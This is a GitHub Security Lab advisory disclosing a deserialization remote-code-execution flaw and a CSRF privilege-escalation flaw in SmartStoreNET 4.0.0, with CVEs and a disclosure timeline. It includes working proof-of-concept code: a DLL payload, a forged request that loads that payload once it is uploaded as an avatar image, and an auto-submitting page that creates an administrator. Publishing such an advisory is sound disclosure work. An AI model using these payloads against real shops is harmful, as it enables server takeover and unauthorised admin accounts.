November 17, 2020

GHSL-2020-138, GHSL-2020-139: Remote code execution (RCE) and elevation of privileges (EoP) in SmartStoreNET - CVE-2020-27996, CVE-2020-27997

Jaroslav Lobacevski

Summary

Remote code execution (RCE) and elevation of privileges (EoP) vulnerabilities.

Product

SmartStoreNET

Tested Version

4.0.0

Details

Issue 1: GHSL-2020-138 Remote code execution (RCE) by unprivileged user because of custom deserialization of untrusted data

In the SmartStoreNET implementation of Model–View–Controller all models are derived from base class ModelBase. The class has a member property CustomProperties that is a dictionary of string to any object. SmartStoreNET implements a custom deserialization of the user supplied request data to construct the dictionary in memory when a request is handled. For example for the excerpt of form-urlencoded `POST` request body below (formatted for readability):

```
CustomProperties%5BProviderConfigData%5D.__Type__=SmartStore.GoogleMerchantCenter.Models.ProfileConfigurationModel%2C+SmartStore.GoogleMerchantCenter%2C+Version%3D4.0.0.0%2C+Culture%3Dneutral%2C+PublicKeyToken%3Dnull&
CustomProperties%5BProviderConfigData%5D.ExportShipping=false&
CustomProperties%5BProviderConfigData%5D.SpecialPrice=true&
CustomProperties%5BProviderConfigData%5D.SpecialPrice=false&
CustomProperties%5BProviderConfigData%5D.ExportBasePrice=true&
CustomProperties%5BProviderConfigData%5D.ExportBasePrice=false&
CustomProperties%5BProviderConfigData%5D.AdditionalImages=true&
CustomProperties%5BProviderConfigData%5D.AdditionalImages=false&
CustomProperties%5BProviderConfigData%5D.ExpirationDays=0&
CustomProperties%5BProviderConfigData%5D.Availability=&
CustomProperties%5BProviderConfigData%5D.Gender=&
CustomProperties%5BProviderConfigData%5D.AgeGroup=&
CustomProperties%5BProviderConfigData%5D.Color=&
CustomProperties%5BProviderConfigData%5D.Size=&
CustomProperties%5BProviderConfigData%5D.Material=&
CustomProperties%5BProviderConfigData%5D.Pattern=
```

an object of type `ProfileConfigurationModel` is created and its members get initialized by calling public setters.

A malicious user (Attacker) may send a forged request with a different object type and properties. The limitations are:

1. Only the root object type can be specified. The custom deserialization function doesn’t support handling custom types for properties.
2. The type must have a public parameterless constructor.
3. The constructor should not demand Single-Threaded-Apartment (STA).

Since carefuly chosen setter invocation may trigger code execution with user supplied data this should be enough to execute arbitrary code by any authenticated user. Currently there is no **publicly known** type that satisfies all the limitations to execute arbitrary code from a request. However there is a type System.Configuration.Install.AssemblyInstaller that satisfies it all, but requires a specially crafted .NET assembly be uploaded first.

To make a Proof of Concept (PoC) the following code can be compiled into mixed mode C++/CLI assembly:

```
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#pragma unmanaged

extern "C" BOOL APIENTRY DllMain(HMODULE hinstDLL, DWORD fwdReason, void* lpvReserved)
{
    if (fwdReason == DLL_PROCESS_ATTACH)
    {
        STARTUPINFO si = { 0 };
        PROCESS_INFORMATION pi = { 0 };
        CreateProcess(L"C:\\WINDOWS\\system32\\calc.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
    }
    return TRUE;
}
```

The compiled dll can be renamed and uploaded as an avatar image, for example, if the feature is enabled on the server. During the avatar image upload the server renames the file, but the name can be inferred from the server response, e.g.:

```
HTTP/1.1 200 OK
...
{
"$type":"<>f__AnonymousType40`2[[System.Boolean, mscorlib],[System.String, mscorlib]], SmartStore.Web",
"success":true,
"avatarUrl":"//localhost:65516/media/241/customer/mixedpoc.dll.bmp?size=256"
}
```

indicates that the file was renamed to `0000241.bmp`. Once the file is uploaded the Attacker just needs to issue the following request (formatted for readability):

```
POST /customer/addressadd HTTP/1.1
...
Address.Id=0&
Address.Company=&
Address.FirstName=fdfdf&
Address.LastName=fdfdf&
Address.Address1=2ewd&
Address.Address2=&
Address.City=fdffdf&
Address.ZipPostalCode=1234&
Address.CountryId=88&
Address.StateProvinceId=0&
Address.Email=asdf%40gmail.com&
Address.PhoneNumber=12345678&
Address.FaxNumber=&
CustomProperties%5BProviderConfigData%5D.__Type__=System.Configuration.Install.AssemblyInstaller,%20System.Configuration.Install,%20Version%3d4.0.0.0,%20Culture%3dneutral,%20PublicKeyToken%3db03f5f7f11d50a3a&
CustomProperties%5BProviderConfigData%5D.Path=file:///../../Presentation\SmartStore.Web\App_Data\Tenants\Default\Media\Storage\0000\0000241.bmp
```

The PoC triggers a payload from the uploaded dll on the first request. Since the dll stays attached in memory the Attacker needs to upload another file to execute the code again.

Impact

The issue is not limited to the `addressadd` endpoint, but the specific endpoint requires authentication. However it is easy to register an account in a e-shop. As such this issue may lead to RCE by any authenticated user.

Issue 2: GHSL-2020-139 Lack of Cross Site Request Forgery (CSRF) protection may lead to elevation of privileges

Most of SmartStoreNET’s state changing endpoints are not protected from CSRF attack. An obvious attack example would be to add a new administrator user through an CSRF attack when a logged-in existing administrator of SmartStoreNET visits a malicious site:

```
<html>
  <body>
    <form action="http://localhost:65516/admin/customer/create" method="POST">
      <input type="hidden" name="save" value="save" />
      <input type="hidden" name="Id" value="0" />
      <input type="hidden" name="Username" value="Super" />
      <input type="hidden" name="Email" value="super&#64;super&#46;com" />
      <input type="hidden" name="Password" value="aaaaaa" />
      <input type="hidden" name="FirstName" value="" />
      <input type="hidden" name="LastName" value="" />
      <input type="hidden" name="DateOfBirth" value="" />
      <input type="hidden" name="Company" value="" />
      <input type="hidden" name="AdminComment" value="" />
      <input type="hidden" name="SelectedCustomerRoleIds" value="1" />
      <input type="hidden" name="SelectedCustomerRoleIds" value="3" />
      <input type="hidden" name="IsTaxExempt" value="false" />
      <input type="hidden" name="Active" value="true" />
      <input type="hidden" name="Active" value="false" />
      <input type="hidden" name="LoadedTabs" value="&#35;customer&#45;edit&#45;1" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>
```

Similar PoCs can be made for other operations. The only administrative endpoint protected from CSRF is `scheduletask/edit`. SmartStoreNET filters IP addresses an administrator is allowed to connect from, but this doesn't protect from the CSRF attack because a legitimate administrator's browser is tricked to perform the action in the context of a CSRF attack.

Impact

A malicious site may trick a logged-in administrator or user to perform an action without the user's consent. Although it is partially mitigated by using `SameSite` cookies:

1. This is not recommended as the primary defense measure.
2. `SameSite` setting is configurable per SmartStoreNet deployment and may be set to `None`.

CVE

- CVE-2020-27996 for GHSL-2020-138
- CVE-2020-27997 for GHSL-2020-139

Coordinated Disclosure Timeline

- 2020-07-27: Report sent to Vendor
- 2020-07-28: Vendor acknowledges
- 2020-08-26: Vendor makes changes to remediate the RCE
- 2020-10-01: Vendor notified about the approaching disclosure deadline
- 2020-10-07: Vendor releases v4.0.1 that addresses the RCE
- 2020-10-29: Vendor notified that the deadline has passed, asking about the fix for CSRF.
- 2020-10-29: Requested and got assigned CVE-2020-27996 (RCE GHSL-2020-138) and CVE-2020-27997 (CSRF GHSL-2020-139)
- 2020-11-09: Vendor releases v4.1.0 that addresses the CSRF

Credit

This issue was discovered and reported by GHSL team member @JarLob (Jaroslav Lobačevski).

Contact

You can contact the GHSL team at `securitylab@github.com`, please include a reference to `GHSL-2020-138` or `GHSL-2020-139` in any communication regarding this issue.